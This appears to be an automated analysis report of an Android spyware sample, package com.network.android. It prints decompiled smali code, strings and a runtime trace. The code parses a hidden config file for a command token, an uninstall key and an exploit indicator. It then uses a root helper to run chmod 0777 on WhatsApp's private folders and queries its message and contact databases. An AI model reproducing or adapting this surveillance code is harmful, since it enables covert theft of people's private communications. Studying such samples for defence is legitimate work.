      100invoke-virtual {v3, v2}, Ljava/io/FileInputStream;->read([B)I
      101move-result v4
      103invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      104if-ge v4, v5, :cond_b4
      106const-string v1, "readSettingsFromBHFile failed to read data from BH param file"
      108invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      109try_end_94:
      110const-string v1, "/data/cksnb.dat"
      112invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      113if-eqz v3, :cond_2e
      114try_start_9b:
      115invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      116try_end_9e: goto/16 :goto_2e
      117catch_9f: move-exception v1
      118new-instance v2, Ljava/lang/StringBuilder;
      120const-string v3, "readSettingsFromBHFile finaly - "
      122invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      124invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      125move-result-object v3
      127invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      128move-result-object v2
      130invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      131move-result-object v2
      132goto/16 :goto_6a
      133try_start_b4: new-instance v4, Ljava/lang/String;
      135invoke-direct {v4, v2}, Ljava/lang/String;-><init>([B)V
      136new-instance v2, Ljava/lang/StringBuilder;
      138const-string v5, "readSettingsFromBHFile parameters: "
      140invoke-direct {v2, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      142invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      143move-result-object v2
      145invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      146move-result-object v2
      148invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      150const-string v2, "\n"
      152invoke-virtual {v4, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      153move-result-object v2
      154new-instance v5, Ljava/lang/StringBuilder;
      156const-string v6, "readSettingsFromBHFile params count: "
      158invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      159array-length v6, v2
      161invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      162move-result-object v5
      164invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      165move-result-object v5
      167invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      168if-eqz v2, :cond_e9
      169array-length v5, v2
      170if-ge v5, v7, :cond_11d
      171cond_e9: new-instance v1, Ljava/lang/StringBuilder;
      173const-string v2, "readSettingsFromBHFile failed to split all parameters: "
      175invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      177invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      178move-result-object v1
      180invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      181move-result-object v1
      183invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      184try_end_fb:
      185const-string v1, "/data/cksnb.dat"
      187invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      188if-eqz v3, :cond_2e
      189try_start_102:
      190invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      191try_end_105: goto/16 :goto_2e
      192catch_107: move-exception v1
      193new-instance v2, Ljava/lang/StringBuilder;
      195const-string v3, "readSettingsFromBHFile finaly - "
      197invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      199invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      200move-result-object v3
      202invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      203move-result-object v2
      205invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      206move-result-object v2
      207goto/16 :goto_6a
      208cond_11d: const/4 v4, 0x0
      209try_start_11e: aget-object v4, v2, v4
      210sput-object v4, Lcom/network/h/b;->b:Ljava/lang/String;
      211new-instance v4, Ljava/lang/StringBuilder;
      213const-string v5, "readSettingsFromBHFile urlStrToRemove: "
      215invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      217sget-object v5, Lcom/network/h/b;->b:Ljava/lang/String;
      219invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      220move-result-object v4
      222invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      223move-result-object v4
      225invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      226const/4 v4, 0x1
      227aget-object v4, v2, v4
      229invoke-static {v4}, Lcom/network/i/a;->b(Ljava/lang/String;)[B
      230move-result-object v4
      231new-instance v5, Ljava/lang/StringBuilder;
      233const-string v6, "readSettingsFromBHFile decodedSettings: "
      235invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      237invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      238move-result-object v5
      240invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      241move-result-object v5
      243invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      244const/4 v5, 0x2
      245aget-object v5, v2, v5
      246sput-object v5, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      247new-instance v5, Ljava/lang/StringBuilder;
      249const-string v6, "readSettingsFromBHFile token: "
      251invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      253sget-object v6, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      255invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      256move-result-object v5
      258invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      259move-result-object v5
      261invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      262const/4 v5, 0x3
      263aget-object v5, v2, v5
      264sput-object v5, Lcom/network/b/b;->e:Ljava/lang/String;
      265new-instance v5, Ljava/lang/StringBuilder;
      267const-string v6, "readSettingsFromBHFile uninstallKey: "
      269invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      271sget-object v6, Lcom/network/b/b;->e:Ljava/lang/String;
      273invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      274move-result-object v5
      276invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      277move-result-object v5
      279invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      280const/4 v5, 0x4
      281aget-object v5, v2, v5
      283const-string v6, "local"
      285invoke-virtual {v6, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      286move-result v6
      288invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      289move-result-object v6
      290sput-object v6, Lcom/network/b/b;->C:Ljava/lang/Boolean;
      291new-instance v6, Ljava/lang/StringBuilder;
      293const-string v7, "readSettingsFromBHFile localInstallation: \'"
      295invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      297invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      298move-result-object v5
      300const-string v6, "\' > "
      302invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      303move-result-object v5
      305sget-object v6, Lcom/network/b/b;->C:Ljava/lang/Boolean;
      307invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      308move-result-object v5
      310invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      311move-result-object v5
      313invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      314const/4 v5, 0x5
      315aget-object v5, v2, v5
      316sput-object v5, Lcom/network/b/b;->o:Ljava/lang/String;
      317new-instance v5, Ljava/lang/StringBuilder;
      319const-string v6, "readSettingsFromBHFile mccSeetings: "
      321invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      323sget-object v6, Lcom/network/b/b;->o:Ljava/lang/String;
      325invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      326move-result-object v5
      328invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      329move-result-object v5
      331invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      332const/4 v5, 0x6
      333aget-object v5, v2, v5
      335invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      336move-result v5
      337new-instance v6, Ljava/lang/StringBuilder;
      339const-string v7, "readSettingsFromBHFile allowRoaming: "
      341invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      343invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      344move-result-object v6
      346invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      347move-result-object v6
      349invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      350if-nez v5, :cond_291
      351const/4 v5, 0x0
      353invoke-static {v5}, Lcom/network/b/b;->a(Z)V
      354goto_1e6: const/4 v5, 0x0
      355sput-boolean v5, Lcom/network/h/b;->c:Z
      357const-string v5, "readSettingsFromBHFile addCommandToQueue"
      359invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      360const/4 v5, 0x0
      361const/4 v6, 0x0
      363invoke-static {v4, p0, v5, v6}, Lcom/network/android/a/b;->a([BLandroid/content/Context;ZLjava/lang/String;)Z
      364move-result v5
      365if-nez v5, :cond_202
      367const-string v5, "readSettingsFromBHFile fail to addCommandToQueue with default token"
      369invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      370const/4 v5, 0x0
      371const/4 v6, 0x0
      373const-string v7, "00000000"
      375invoke-static {v4, p0, v5, v6, v7}, Lcom/network/android/a/b;->a([BLandroid/content/Context;ZLjava/lang/String;Ljava/lang/String;)Z
      376cond_202:
      377invoke-static {p0}, Lcom/network/android/a/b;->a(Landroid/content/Context;)V
      378const/4 v4, 0x1
      379sput-boolean v4, Lcom/network/h/b;->c:Z
      380const/16 v4, 0x9
      381aget-object v4, v2, v4
      382sput-object v4, Lcom/network/b/b;->l:Ljava/lang/String;
      383new-instance v4, Ljava/lang/StringBuilder;
      385const-string v5, "readSettingsFromBHFile packageVersion: "
      387invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      389sget-object v5, Lcom/network/b/b;->l:Ljava/lang/String;
      391invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      392move-result-object v4
      394invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      395move-result-object v4
      397invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      398array-length v4, v2
      399const/16 v5, 0xb
      400if-le v4, v5, :cond_349
      401new-instance v4, Ljava/io/File;
      403const-string v5, "/system/csk"
      405invoke-direct {v4, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      407invoke-virtual {v4}, Ljava/io/File;->exists()Z
      408move-result v4
      409if-nez v4, :cond_349
      410const/16 v4, 0xa
      411aget-object v2, v2, v4
      412sput-object v2, Lcom/network/b/b;->m:Ljava/lang/String;
      413new-instance v2, Ljava/lang/StringBuilder;
      415const-string v4, "readSettingsFromBHFile vulnarbilityIndicator: "
      417invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      419sget-object v4, Lcom/network/b/b;->m:Ljava/lang/String;
      421invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      422move-result-object v2
      424invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      425move-result-object v2
      427invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      428new-instance v2, Ljava/io/File;
      430const-string v4, "/data/cksnb.dat"
      432invoke-direct {v2, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      434invoke-virtual {v2}, Ljava/io/File;->length()J
      435move-result-wide v4
      436const-wide/16 v6, 0x0
      437cmp-long v2, v4, v6
      438if-lez v2, :cond_349
      440const-string v2, "/data/cksnb.dat"
      442const-string v4, "/data/data/com.network.android/output.mp3"
      444invoke-static {v2, v4}, Lcom/network/media/q;->a(Ljava/lang/String;Ljava/lang/String;)I
      445move-result v2
      446const/4 v4, -0x1
      447if-ne v4, v2, :cond_349
      449const-string v1, "readSettingsFromBHFile copy vulnarbility failed. returning false"
      451invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      452goto_26f:
      453const-string v1, "/data/cksnb.dat"
      455invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      456if-eqz v3, :cond_2e
      457try_start_276:
      458invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      459try_end_279: goto/16 :goto_2e
      460catch_27b: move-exception v1
      461new-instance v2, Ljava/lang/StringBuilder;
      463const-string v3, "readSettingsFromBHFile finaly - "
      465invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      467invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      468move-result-object v3
      470invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      471move-result-object v2
      473invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      474move-result-object v2
      475goto/16 :goto_6a
      476cond_291: const/4 v6, 0x1
      477try_start_292:
      478invoke-static {v6}, Lcom/network/b/b;->a(Z)V
      480invoke-static {v5}, Lcom/network/b/b;->g(I)V
      481try_end_298: goto/16 :goto_1e6
      482catch_29a: move-exception v1
      483move-object v2, v3
      484try_start_29c: new-instance v3, Ljava/lang/StringBuilder;
      486const-string v4, "readSettingsFromBHFile exception: "
      488invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      490invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      491move-result-object v4
      493invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      494move-result-object v3
      496invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      497move-result-object v3
      499invoke-static {v3, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      500try_end_2b2:
      501const-string v1, "/data/cksnb.dat"
      503invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      504if-eqz v2, :cond_2e
      505try_start_2b9:
      506invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      507try_end_2bc: goto/16 :goto_2e
      508catch_2be: move-exception v1
      509new-instance v2, Ljava/lang/StringBuilder;
      511const-string v3, "readSettingsFromBHFile finaly - "
      513invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      515invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      516move-result-object v3
      518invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      519move-result-object v2
      521invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      522move-result-object v2
      523goto/16 :goto_6a
      524catchall_2d4: move-exception v0
      525move-object v3, v2
      526goto_2d6:
      527const-string v1, "/data/cksnb.dat"
      529invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      530if-eqz v3, :cond_2e0
      531try_start_2dd:
      532invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      533goto_2e0: throw v0
      534catch_2e1: move-exception v1
      535new-instance v2, Ljava/lang/StringBuilder;
      537const-string v3, "readSettingsFromBHFile finaly - "
      539invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      541invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      542move-result-object v3
      544invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      545move-result-object v2
      547invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      548move-result-object v2
      550invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      551goto/16 :goto_2e0
      552catch_2f9: move-exception v1
      553new-instance v2, Ljava/lang/StringBuilder;
      555const-string v3, "readSettingsFromBHFile finaly - "
      557invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      559invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      560move-result-object v3
      562invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      563move-result-object v2
      565invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      566move-result-object v2
      567goto/16 :goto_6a
      568catch_30f: move-exception v0
      569new-instance v2, Ljava/lang/StringBuilder;
      571const-string v3, "readSettingsFromBHFile finaly - "
      573invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      575invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      576move-result-object v3
      578invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      579move-result-object v2
      581invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      582move-result-object v2
      584invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      585goto/16 :goto_3e
      586catch_328: move-exception v0
      587new-instance v2, Ljava/lang/StringBuilder;
      589const-string v3, "readSettingsFromBHFile finaly - "
      591invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      593invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      594move-result-object v3
      596invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      597move-result-object v2
      599invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      600move-result-object v2
      602invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      603goto/16 :goto_7d
      604catchall_341: move-exception v0
      605goto/16 :goto_2d6
      606catchall_343: move-exception v0
      607move-object v3, v2
      608goto/16 :goto_2d6
      609catch_346: move-exception v1
      610goto/16 :goto_29c
      611cond_349: move v0, v1
      612goto/16 :goto_26f
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.ReentrantReadWriteLock.<init>
      • java.util.concurrent.locks.ReentrantReadWriteLock.readLock
      • java.util.concurrent.locks.Lock.lock
      • java.io.File.<init>
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.exists
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • /system/csk
      • getWhatsApp GetContentIM MY_SU does not exists. returning
      • /data/data/com.whatsapp
      • get whatsapp DB not exists -> exit!:
      • /data/data/com.whatsapp/databases/msgstore.db
      • /data/data/com.whatsapp/databases/wa.db
      • get whatsapp dump isDump:
      • get whatsapp messages:
      • get whatsapp contacts:
      • /data/data/com.whatsapp/databases
      • chmod 0777 /data/data/com.whatsapp; chmod 0777 /data/data/com.whatsapp/databases; chmod 0777 /data/data/com.whatsapp/shared_prefs; chmod 0777 /data/data/com.whatsapp/shared_prefs/com.whatsapp_preferences.xml;
      • 0777
      • select * from messages
      • get whatsapp finally-
      • get whatsapp monitor isDump:
      • getWhatsApp GetContentIM fail to openDatabase:
      • , try to open with OPEN_READONLY
      • get whatsapp monitor set last id
      • select timestamp from messages order by _id desc limit 1;
      • get whatsapp monitor last timestamp id:
      • , by date:
      • select * from messages where timestamp > \'
      • \'
      • get whatsapp monitor query:
      • whatsapp Provider == null return
      • get whatsapp monitor no messages
      • get whatsapp Throwable-
      • LOG_ERR_WHATSAPP
      • get whatsapp messages DB does not exist:
      Position Instruction Meta Information
      0const/4 v1, 0x0
      1new-instance v0, Ljava/io/File;
      3const-string v2, "/system/csk"
      5invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068631
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      7invoke-virtual {v0}, Ljava/io/File;->exists()Z
      • Time: 1068635
        • This:
          • /system/csk
        • Return:
          • false
      8move-result v0
      9if-nez v0, :cond_14
      11const-string v0, "getWhatsApp GetContentIM MY_SU does not exists. returning"
      13invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068640
        • p0: getWhatsApp GetContentIM MY_SU does not exists. returning
      14goto_13: return-void
      15cond_14:
      16const-string v0, "/data/data/com.whatsapp"
      17new-instance v2, Ljava/io/File;
      19invoke-direct {v2, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      21invoke-virtual {v2}, Ljava/io/File;->exists()Z
      22move-result v2
      23if-nez v2, :cond_34
      24new-instance v1, Ljava/lang/StringBuilder;
      26const-string v2, "get whatsapp DB not exists -> exit!: "
      28invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      30invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      31move-result-object v0
      33invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      34move-result-object v0
      36invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      37goto/16 :goto_13
      38cond_34:
      39const-string v0, "/data/data/com.whatsapp/databases/msgstore.db"
      41const-string v2, "/data/data/com.whatsapp/databases/wa.db"
      42iget-boolean v3, p0, Lcom/network/android/o;->a:Z
      43if-eqz v3, :cond_f2
      44new-instance v3, Ljava/lang/StringBuilder;
      46const-string v4, "get whatsapp dump isDump:"
      48invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      49iget-boolean v4, p0, Lcom/network/android/o;->a:Z
      51invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      52move-result-object v3
      54invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      55move-result-object v3
      57invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      58goto_50: new-instance v3, Ljava/lang/StringBuilder;
      60const-string v4, "get whatsapp messages:"
      62invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      64invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      65move-result-object v3
      67invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      68move-result-object v3
      70invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      71new-instance v3, Ljava/lang/StringBuilder;
      73const-string v4, "get whatsapp contacts:"
      75invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      77invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      78move-result-object v3
      80invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      81move-result-object v3
      83invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      84new-instance v3, Ljava/util/concurrent/locks/ReentrantReadWriteLock;
      86invoke-direct {v3}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;-><init>()V
      88const-string v4, "/data/data/com.whatsapp/databases"
      90invoke-virtual {v3}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;->readLock()Ljava/util/concurrent/locks/ReentrantReadWriteLock$ReadLock;
      91move-result-object v5
      92try_start_7f:
      93const-string v3, "chmod 0777 /data/data/com.whatsapp; chmod 0777 /data/data/com.whatsapp/databases; chmod 0777 /data/data/com.whatsapp/shared_prefs; chmod 0777 /data/data/com.whatsapp/shared_prefs/com.whatsapp_preferences.xml;"
      95invoke-static {v3}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      97invoke-interface {v5}, Ljava/util/concurrent/locks/Lock;->lock()V
      99const-string v3, "0777"
      101invoke-static {v4, v3}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;)V
      102new-instance v3, Ljava/io/File;
      104invoke-direct {v3, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      105new-instance v4, Ljava/io/File;
      107invoke-direct {v4, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      109invoke-virtual {v4}, Ljava/io/File;->exists()Z
      110move-result v4
      111if-eqz v4, :cond_26f
      113invoke-virtual {v3}, Ljava/io/File;->exists()Z
      114try_end_9f: move-result v3
      115if-eqz v3, :cond_26f
      116const/4 v3, 0x0
      117const/16 v4, 0x10
      118try_start_a5:
      119invoke-static {v0, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      120try_end_a8: move-result-object v3
